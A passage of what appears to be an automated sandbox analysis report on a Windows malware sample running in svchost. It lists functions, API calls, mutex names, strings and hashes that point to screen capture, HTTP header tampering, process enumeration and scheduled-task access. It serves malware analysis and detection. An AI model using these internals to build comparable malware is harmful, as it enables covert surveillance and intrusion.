                                                                                                                                                                                                            • Instruction ID: ab2509dac45ebc24982450debd88eb51baa31cac6808634e6fc844e1ce05eae6
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 2d8e0a6a8fff08f23e0aad92f46895f996e6a680ca94b2f21621046ed013eb6d
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 9F316B30A80119ABDF39EE55C895BF973B9EF4630CF5085A9D50697340EB719B90CA81
                                                                                                                                                                                                            Function 02C77890 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 90synchronizationCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GdiFlush.GDI32(?,?,?), ref: 02C77926
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02C77934
                                                                                                                                                                                                            • IsBadWritePtr.KERNEL32(?,?), ref: 02C7794A
                                                                                                                                                                                                            • IsBadReadPtr.KERNEL32(00000000,?), ref: 02C77956
                                                                                                                                                                                                            • memcpy.MSVCRT(?,00000000,?), ref: 02C77963
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02C77985
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: FlushMutexObjectReadReleaseSingleWaitWritememcpy
                                                                                                                                                                                                            • String ID: P0#v
                                                                                                                                                                                                            • API String ID: 3485819771-3387790918
                                                                                                                                                                                                            • Opcode ID: 8171cd07da8917a43439a99d2a7210e13dec6fc51a1ddb171d100cc1c6730262
                                                                                                                                                                                                            • Instruction ID: 724dfa19468e913fa4ed040b0bc688f067e8746fae3b6580ec2c130846e12548
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 8171cd07da8917a43439a99d2a7210e13dec6fc51a1ddb171d100cc1c6730262
                                                                                                                                                                                                            • Instruction Fuzzy Hash: AE31CA32E411099BCB15CF69D984BAABBB5EFC8354F2885A9EC04D7305D730E955CB90
                                                                                                                                                                                                            Function 02C7AB21 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 46synchronizationthreadwindowCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetCurrentThreadId.KERNEL32 ref: 02C7AB2F
                                                                                                                                                                                                            • IsWindow.USER32(?), ref: 02C7AB54
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02C7AB62
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32 ref: 02C7AB97
                                                                                                                                                                                                            • IsWindow.USER32(?), ref: 02C7AB9E
                                                                                                                                                                                                            • SendMessageA.USER32(?,00000215,00000000,00000000), ref: 02C7ABAE
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Window$CurrentMessageMutexObjectReleaseSendSingleThreadWait
                                                                                                                                                                                                            • String ID: P0#v
                                                                                                                                                                                                            • API String ID: 1675675969-3387790918
                                                                                                                                                                                                            • Opcode ID: d5d136a4041b7d436f771182aacef41972af81b25510e3df2a3fb617409e179f
                                                                                                                                                                                                            • Instruction ID: 03f074cc63b41d1f3aab212351704ecd20f5acd8214eb696ac11eda72c1c52d8
                                                                                                                                                                                                            • Opcode Fuzzy Hash: d5d136a4041b7d436f771182aacef41972af81b25510e3df2a3fb617409e179f
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 35012431A81250AFCB029B24FC08FDE33A4BF84724F050BF5E8448B282D7B5A9428BC0
                                                                                                                                                                                                            Function 02C7A9A0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 37synchronizationthreadwindowCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetCurrentThreadId.KERNEL32 ref: 02C7A9AD
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02C7A9CB
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32 ref: 02C7AA00
                                                                                                                                                                                                            • IsWindow.USER32(?), ref: 02C7AA07
                                                                                                                                                                                                            • SendMessageA.USER32(?,00000215,00000000,00000000), ref: 02C7AA1B
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000005), ref: 02C7AA2A
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CurrentErrorLastMessageMutexObjectReleaseSendSingleThreadWaitWindow
                                                                                                                                                                                                            • String ID: P0#v
                                                                                                                                                                                                            • API String ID: 699575883-3387790918
                                                                                                                                                                                                            • Opcode ID: b27bce4fcbca707674da6cca9773a2ca59ec8251dd11a3a9c0c98df92576ddb6
                                                                                                                                                                                                            • Instruction ID: b57c32ef7cd3355056b50e60d3a575415a9a353647a6e2fe4b6cb4813c133737
                                                                                                                                                                                                            • Opcode Fuzzy Hash: b27bce4fcbca707674da6cca9773a2ca59ec8251dd11a3a9c0c98df92576ddb6
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 75014B349C0240AFE7169B20E84DBDA37A4FB98716F054BA8F5198B2D1CBB556A1CF90
                                                                                                                                                                                                            Function 02C90280 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 31synchronizationsleepCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateMutexA.KERNEL32(00000000,00000000,Local\{BE3C9D87-B777-4e47-8B10-69798A04C732}), ref: 02C9028E
                                                                                                                                                                                                            • Sleep.KERNEL32(000003E8), ref: 02C9029F
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02C902A6
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02C902B8
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C902C9
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • Local\{BE3C9D87-B777-4e47-8B10-69798A04C732}, xrefs: 02C90285
                                                                                                                                                                                                            • P0#v, xrefs: 02C902A6
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: HandleMutex$CloseCreateInformationReleaseSleep
                                                                                                                                                                                                            • String ID: Local\{BE3C9D87-B777-4e47-8B10-69798A04C732}$P0#v
                                                                                                                                                                                                            • API String ID: 1893094850-2586879793
                                                                                                                                                                                                            • Opcode ID: f06f6f68b692b4df80c7d7f822048cac3a6d39cf8352ce90042cfbb9e9ac5f45
                                                                                                                                                                                                            • Instruction ID: 7b5619f72061de97dfb8ba50d1b1332e428a752ab455fde5046a9974113a088f
                                                                                                                                                                                                            • Opcode Fuzzy Hash: f06f6f68b692b4df80c7d7f822048cac3a6d39cf8352ce90042cfbb9e9ac5f45
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 6DF0A730D826A4B7E7125BA09C0DBAE7A9CDF45B15F0046C0F805D3181D7B0861046A1
                                                                                                                                                                                                            Function 02C8A390 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 30synchronizationsleepCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateMutexA.KERNEL32(00000000,00000000,Local\{EAF799BF-8989-4fe1-9A0D-95CD39D44014}), ref: 02C8A39E
                                                                                                                                                                                                            • Sleep.KERNEL32(000003E8), ref: 02C8A3AF
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02C8A3B6
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02C8A3C8
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C8A3D9
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • Local\{EAF799BF-8989-4fe1-9A0D-95CD39D44014}, xrefs: 02C8A395
                                                                                                                                                                                                            • P0#v, xrefs: 02C8A3B6
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: HandleMutex$CloseCreateInformationReleaseSleep
                                                                                                                                                                                                            • String ID: Local\{EAF799BF-8989-4fe1-9A0D-95CD39D44014}$P0#v
                                                                                                                                                                                                            • API String ID: 1893094850-253269245
                                                                                                                                                                                                            • Opcode ID: a5663edb95a2c72d152053f0210cd614263555c4a7ddfa9d3fc34966fc3c5894
                                                                                                                                                                                                            • Instruction ID: 4841972f98751e0d98693809ac7c433629e7ee9a812505941e5fca44fe9b3815
                                                                                                                                                                                                            • Opcode Fuzzy Hash: a5663edb95a2c72d152053f0210cd614263555c4a7ddfa9d3fc34966fc3c5894
                                                                                                                                                                                                            • Instruction Fuzzy Hash: F8F0EC31D81294F7E7125B94DC0DB9E7B5CDF0570AF004281FD0993180E7F08E1487A1
                                                                                                                                                                                                            Function 02C7BB10 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 126windowCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • IsWindowVisible.USER32(02C7C29D), ref: 02C7BB2F
                                                                                                                                                                                                            • GetWindowInfo.USER32(02C7C29D,?), ref: 02C7BB49
                                                                                                                                                                                                            • GetClassLongA.USER32(02C7C29D,000000E6), ref: 02C7BB9E
                                                                                                                                                                                                            • PrintWindow.USER32(02C7C29D,?,00000000), ref: 02C7BBB7
                                                                                                                                                                                                            • BitBlt.GDI32(02C7BD82,?,?,?,?,7694BCB0,00000000,00000000,00CC0020), ref: 02C7BC5E
                                                                                                                                                                                                              • Part of subcall function 02C7CC80: GetClassNameA.USER32(?,?,00000101), ref: 02C7CC96
                                                                                                                                                                                                              • Part of subcall function 02C7B950: SendMessageA.USER32(?,?,00000004,00000000), ref: 02C7B978
                                                                                                                                                                                                              • Part of subcall function 02C7B950: GdiFlush.GDI32(00000000,?,762330D0,?,?,?,02C7843E), ref: 02C7B98E
                                                                                                                                                                                                              • Part of subcall function 02C7B950: BitBlt.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 02C7B9B4
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Window$Class$FlushInfoLongMessageNamePrintSendVisible
                                                                                                                                                                                                            • String ID: <
                                                                                                                                                                                                            • API String ID: 2334662925-4251816714
                                                                                                                                                                                                            • Opcode ID: e4894afa2bf716a42caf37b7b11bc8e27eb5ceb2ea965b2bbc33eb65ace83cf7
                                                                                                                                                                                                            • Instruction ID: 093ccc57ffc1fd99d080eff7a680f8aef94a22716c52aaadbc85895ac9ea315c
                                                                                                                                                                                                            • Opcode Fuzzy Hash: e4894afa2bf716a42caf37b7b11bc8e27eb5ceb2ea965b2bbc33eb65ace83cf7
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 08413C71E00519AFCB15CF58C985AAEFBBABF84308F148259E405A7644DB30BE52CB90
                                                                                                                                                                                                            Function 02C7FBA0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 104networkCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_00023910,?,0000001C), ref: 02C7FBD3
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_00023910,?,0000001C), ref: 02C7FBFF
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_00023910,?,0000001C), ref: 02C7FC26
                                                                                                                                                                                                            • HttpAddRequestHeadersW.WININET(?,?,?,A0000000), ref: 02C7FC6C
                                                                                                                                                                                                            • HttpAddRequestHeadersA.WININET(?,Accept-Encoding:,00000012,A0000000), ref: 02C7FC7F
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: QueryVirtual$HeadersHttpRequest
                                                                                                                                                                                                            • String ID: Accept-Encoding:
                                                                                                                                                                                                            • API String ID: 853579731-3444961765
                                                                                                                                                                                                            • Opcode ID: eae1558d97f0c1907df676c8d2acc288414731bcd5932755705afb8cacad6815
                                                                                                                                                                                                            • Instruction ID: a1939f19b0903ae485086d7e66a7c0367de7593c3fc979b1ec14221293d3a2c0
                                                                                                                                                                                                            • Opcode Fuzzy Hash: eae1558d97f0c1907df676c8d2acc288414731bcd5932755705afb8cacad6815
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 9F31FFB1D4121DAFDB50DFA5D885AEEBBB9FF88310F114569ED15E7200D3749A018FA0
                                                                                                                                                                                                            Function 02C7ABD0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 92stringCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_00023910,?,0000001C), ref: 02C7AC0F
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_00023910,?,0000001C), ref: 02C7AC3B
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_00023910,?,0000001C), ref: 02C7AC62
                                                                                                                                                                                                            • GetUserObjectInformationA.USER32(?,00000002,?,00000100,?), ref: 02C7AC91
                                                                                                                                                                                                            • lstrcmpiA.KERNEL32(?,7d2de3ada), ref: 02C7ACA7
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: QueryVirtual$InformationObjectUserlstrcmpi
                                                                                                                                                                                                            • String ID: 7d2de3ada
                                                                                                                                                                                                            • API String ID: 410342393-2501648331
                                                                                                                                                                                                            • Opcode ID: 35ea4937242a902a5c5d0cf1d59a717b5ec3b164cb4c847174ea150e8905d255
                                                                                                                                                                                                            • Instruction ID: 50cd088300e2c098ad6a19424ca14a86222806e7c165223fdedc0b517644ca9f
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 35ea4937242a902a5c5d0cf1d59a717b5ec3b164cb4c847174ea150e8905d255
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 7C31E1B1E40209EFDB40CFA9D885AEEBBF9FB48300F10856AE514E7240E7755A40CF90
                                                                                                                                                                                                            Function 02C8A9D6 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 79threadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82C3184B), ref: 02C8A9F7
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C8B260,02CC7DA0,00000000,00000000), ref: 02C8AA90
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02C8AAA8
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C8AAB9
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Handle$BackslashCloseCreateInformationPathThread
                                                                                                                                                                                                            • String ID: 82C3184B$keys
                                                                                                                                                                                                            • API String ID: 3186380484-3056022213
                                                                                                                                                                                                            • Opcode ID: 2771d991d4f445e0f8a9d88fa8f6d17c7ff2f7c90c2fbd5c1e4154789060f2d3
                                                                                                                                                                                                            • Instruction ID: 31663a969f21679a839c96e740fe0cc2cd9ff88a966b516aecd0452d6e46079d
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 2771d991d4f445e0f8a9d88fa8f6d17c7ff2f7c90c2fbd5c1e4154789060f2d3
                                                                                                                                                                                                            • Instruction Fuzzy Hash: AE214D319851455BDB22DB7499187FEB7E4DF49308F2881D9E845E7240EB71CE09CF90
                                                                                                                                                                                                            Function 004014B0 Relevance: 10.6, APIs: 7, Instructions: 72processCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 004014D4
                                                                                                                                                                                                            • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000,?,76D6DB30), ref: 004014DF
                                                                                                                                                                                                            • Process32First.KERNEL32 ref: 00401505
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,?), ref: 00401520
                                                                                                                                                                                                            • Process32Next.KERNEL32(00000000,?), ref: 0040152C
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 00401548
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 0040155A
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3375821338.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3375821338.000000000045B000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: HandleProcess32$CloseCreateFirstInformationNextSnapshotToolhelp32memset
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3955875343-0
                                                                                                                                                                                                            • Opcode ID: 7873ba4b88183a8641433f701d7857d9c97be643caff6c6a3dfa6b6ea5f2b523
                                                                                                                                                                                                            • Instruction ID: 35ff206d6e877699644ac5607af1a2cdaefe1b2aeb9dd15ae369335d4f3073ea
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 7873ba4b88183a8641433f701d7857d9c97be643caff6c6a3dfa6b6ea5f2b523
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 1D11C3B25042146BD310DF65DC0899BBBACEBD53A0F00453AFE55A72D0E33499088BEA
                                                                                                                                                                                                            Function 02C93170 Relevance: 10.6, APIs: 7, Instructions: 72processCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C93194
                                                                                                                                                                                                            • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 02C9319F
                                                                                                                                                                                                            • Process32First.KERNEL32 ref: 02C931C5
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,?), ref: 02C931E0
                                                                                                                                                                                                            • Process32Next.KERNEL32(00000000,?), ref: 02C931EC
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C93208
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C9321A
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: HandleProcess32$CloseCreateFirstInformationNextSnapshotToolhelp32memset
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3955875343-0
                                                                                                                                                                                                            • Opcode ID: 810e14c39b12bc5e0f1888c9af17e2f18aa07edadceab16d62b3436b5ada740f
                                                                                                                                                                                                            • Instruction ID: 17a8724991fbeb8b365db2bb00f289a510eb225140cfe046ce7502c62d85ccaf
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 810e14c39b12bc5e0f1888c9af17e2f18aa07edadceab16d62b3436b5ada740f
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 9511D2729043916BC711DF65EC49A9BBBECEFC9360F008A59FD5483281E7309619CBE2
                                                                                                                                                                                                            Function 00401000 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 63fileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000002,00000080,00000000,00000000,00000000,?,?,00402B5B,00000000), ref: 0040102A
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,[+@,?,00000000,00000000,?,?,00402B5B,00000000), ref: 00401045
                                                                                                                                                                                                            • SetEndOfFile.KERNEL32(00000000,?,?,00402B5B,00000000), ref: 00401050
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 0040106F
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 00401080
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3375821338.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3375821338.000000000045B000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: File$Handle$CloseCreateInformationWrite
                                                                                                                                                                                                            • String ID: [+@
                                                                                                                                                                                                            • API String ID: 1150544999-2667881658
                                                                                                                                                                                                            • Opcode ID: 21b66d7867ddfbefa27aaeae67b762b005cc489ba47700022ac87a39cc13ab03
                                                                                                                                                                                                            • Instruction ID: c834b12cbe40c0e9b10b40bca9c4cb852a2dca9cf30c5b09766062945076e325
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 21b66d7867ddfbefa27aaeae67b762b005cc489ba47700022ac87a39cc13ab03
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 0311E971600244B7E7205B65DD08FAB765DDBC1790F048236FF84F62E0D7758D8082B8
                                                                                                                                                                                                            Function 004033A0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 47COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetVersionExA.KERNEL32(?,\\?\globalroot\systemroot\system32\tasks\), ref: 004033C7
                                                                                                                                                                                                            • GetCurrentProcess.KERNEL32(00000008,00000000), ref: 004033E9
                                                                                                                                                                                                            • OpenProcessToken.ADVAPI32(00000000), ref: 004033F0
                                                                                                                                                                                                            • GetTokenInformation.ADVAPI32(00000000,00000012(TokenIntegrityLevel),?,00000004,?), ref: 00403411
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 00403427
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • \\?\globalroot\systemroot\system32\tasks\, xrefs: 004033A9
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3375821338.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3375821338.000000000045B000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ProcessToken$CloseCurrentHandleInformationOpenVersion
                                                                                                                                                                                                            • String ID: \\?\globalroot\systemroot\system32\tasks\
                                                                                                                                                                                                            • API String ID: 4133869067-1576788796
                                                                                                                                                                                                            • Opcode ID: 645d9aa35765d8fa00b4ca3d9b4e73897e66a258ba203d8b6412706febb71317
                                                                                                                                                                                                            • Instruction ID: 021f6ab0fc676138f4263539a703c8a5ee641fdd4e06072bb68a67a5c5d36617
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 645d9aa35765d8fa00b4ca3d9b4e73897e66a258ba203d8b6412706febb71317
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 4E0188B5E00208EBEB20CFA0DD09B9A7BBCAB85701F4040A5E709B6280D6749F44CF75
                                                                                                                                                                                                            Function 02C883B0 Relevance: 10.5, APIs: 7, Instructions: 43networkthreadCOMMON
